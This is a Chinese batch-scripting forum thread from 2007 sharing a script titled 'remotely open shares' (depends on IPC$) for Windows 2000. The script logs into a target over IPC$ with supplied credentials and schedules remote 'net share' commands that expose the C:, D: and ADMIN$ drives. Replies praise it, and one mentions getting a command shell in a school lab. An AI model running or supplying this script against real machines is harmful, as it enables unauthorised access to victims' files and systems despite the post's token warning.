Board logo

标题: [网络工具] 批处理远程开启共享(依赖IPC$) [打印本页]

作者: youxi01    时间: 2007-11-1 22:53     标题: 批处理远程开启共享(依赖IPC$)

批处理远程开启共享,依赖IPC$,使用windows 2000平台。
  1. REM code by youxi01@windows_2000
  2. @echo off
  3. title 远程开启共享
  4. set /a num=1
  5. :start
  6. cls
  7. echo =========================批处理远程开启共享==============================
  8. echo.
  9. echo 1、查看程序说明
  10. echo 2、直接运行程序
  11. echo 3、退出程序
  12. echo.
  13. echo       沉沦天子:请勿用于不法途径!
  14. echo --------------------------------------------------------------------------
  15. set /p goto=你的选择:
  16. if '%goto%'=='1' goto :Introduction
  17. if '%goto%'=='2' (goto :TestRemoteHost) else goto :exit
  18. :Introduction
  19. cls
  20. echo ================================程序说明=================================
  21. echo.
  22. echo 1、本程序可以远程开启硬盘共享(依赖ipc$);
  23. echo.
  24. echo 2、本程序由原作品(见:http://youxi01.blogchina.com/1415583.html)修改而来,
  25. echo 而原作品的编写参照了铁血的作品(txtelnet.bat)。
  26. echo     对比旧作品,新作品的优点体现在:①程序由单一文件组成,不会形成其它文
  27. echo 件;②源程序易读性要高;③使用简单。
  28. echo.
  29. goto :over
  30. **********************************************************************
  31.     【注释】以下程序模块,检测主机是否是活动的。
  32.          用ping命令发送一个数据包,并将返回结果发送给find,如果结果中
  33.       包含有“from”则表明主机是活动的,否则显示主机不存在。
  34. ***********************************************************************
  35. :TestRemoteHost
  36. echo.
  37. echo ===========================检查主机是否活动?==============================
  38. set /p RemoteHost=请输入主机名称或IP:
  39. ping %RemoteHost% -n 1 -w 2|find "from">nul  ||cls && echo 远程主机不存在。&& goto :over
  40. echo.
  41. echo 远程主机是活动的。
  42. goto :ConnectToRemoteHost
  43. **********************************************************************
  44.     【注释】以下程序模块,用来检测ipc开放与否。
  45.      先用命令net use \\[RemoteComputer]\ipc$ [pass] /user:[user]
  46.      命令检测是否可以进行ipc连接,并将结果传递给find命令,如果发现有“成功”
  47.      字样,说明连接成功,否则,清除文字,显示错误。
  48. ***********************************************************************
  49. :ConnectToRemoteHost
  50. echo ===========================检查主机是否开放ipc$?===========================
  51. echo.
  52. set /p user=请输入用户名:
  53. set /p pass=请输入密码:
  54. net use \\%RemoteHost%\ipc$ %pass% /user:%user%|find "成功">nul ||cls && echo ipc$连接发生错误。&& goto :over
  55. echo.
  56. echo ipc$连接成功
  57. echo 正在设置,请稍等...
  58. echo -----------------------------------------------------------------------------
  59. goto :ProcDelay
  60. **********************************************************************
  61.     【注释】以下程序模块,实现等待的功能,等待4秒。
  62.      先取一个时间(秒数)将之保存在%start%中,程序运行时间保存为%now%
  63.      用一个if条件,实现循环。
  64. ***********************************************************************
  65. :ProcDelay
  66. for /f "tokens=3 delims=:." %%i in ("%time%") do set /a start=%%i
  67. :procwaitloop
  68. for /f "tokens=3 delims=:." %%i in ("%time%") do set /a now=%%i
  69. set /a diff=%now%-%start%
  70. if %diff% LSS 4 goto :procwaitloop
  71. goto :GetTime
  72. **********************************************************************
  73.     【注释】首先,利用net time命令设置本地时间与网络时间同步,并将
  74. 当前时间的小时和分钟数分别保存到hour和minute变量。
  75. ***********************************************************************
  76. :GetTime
  77. net time \\127.0.0.1 /set /y > nul
  78. for /f "tokens=1,2 delims=:"  %%i in ("%time%") do set /a hour=%%i && set /a minute=%%j
  79. echo 远程主机现在的时刻为:%hour%:%minute%
  80. goto :OpenShare
  81. **********************************************************************
  82.     【注释】利用at命令定时开启共享。
  83. ***********************************************************************
  84. :OpenShare
  85. set /a Rminute=%minute%+1
  86. at \\%RemoteHost% %hour%:%Rminute% net share c$=c:>nul & if errorlevel 1 echo C盘共享失败
  87. at \\%RemoteHost% %hour%:%Rminute% net share d$=d:>nul & if errorlevel 1 echo D盘共享失败
  88. at \\%RemoteHost% %hour%:%Rminute% net share admin$>nul & if errorlevel 1 echo Admin共享失败
  89. @net use * /del /y>nul
  90. :over
  91. echo =================批处理远程开启共享======================================
  92. echo 1、继续
  93. echo 2、退出
  94. echo.
  95. set /p goto=是否继续?
  96. if '%goto%'=='2' (goto :exit) else goto :start
  97. :exit
复制代码

作者: youxi01    时间: 2007-11-1 23:04

..........
作者: novaa    时间: 2007-11-6 09:28

我开始接触的DOS命令是黑客必备的PING NET 等
我开始接触P是因为在学校机房得到了CMDSHELL
不知道怎么用
呵呵
作者: xurun163    时间: 2008-3-12 10:22

这样也可以呀??????
作者: yanqin    时间: 2008-5-8 11:19

很有用!!
作者: mokmao    时间: 2008-5-8 22:40

好象只对2000有用
作者: jdjjs    时间: 2011-1-17 19:20

xp系统有用吗?
作者: hp880229    时间: 2011-2-19 11:35

看得懂一点点。。。。
作者: chok    时间: 2013-7-19 15:55

牛人,受益匪浅。




欢迎光临 批处理之家 (http://bathome.net./) Powered by Discuz! 7.2